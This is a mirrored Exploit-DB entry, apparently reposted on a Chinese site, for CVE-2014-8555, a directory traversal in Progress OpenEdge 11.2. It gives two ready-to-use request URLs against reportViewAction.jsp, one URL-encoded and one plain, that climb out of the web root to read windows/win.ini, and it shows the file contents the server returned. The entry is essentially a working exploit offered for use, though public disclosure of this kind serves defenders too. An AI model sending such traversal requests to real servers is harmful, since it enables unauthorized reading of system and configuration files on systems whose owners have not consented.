Progress OpenEdge 11.2 – Directory Traversal - 体验盒子

作者： XLabs Security

日期： 2014-10-31

类别：

webapps

平台：

jsp

来源：https://www.exploit-db.com/exploits/35127/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

# Exploit Title: Progress OpenEdge Directory Traversal

# Date: 30/10/2014

# Exploit Author: Mauricio Correa

# Vendor Homepage: www.progress.com

# Software Link: www.progress.com/products/openedge

# Version: 11.2

# Tested on: Windows OS

# CVE : CVE-2014-8555

The malicious user sends a malformed request that generates the file access

up directories as follows:

http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.

.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini

or else

http://

target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..

/../../windows/win.ini

And the application answers

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

CMCDLLNAME32=mapi32.dll

CMC=1

MAPIX=1

MAPIXVER=1.0.0.1

OLEMessaging=1

More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256

Thanks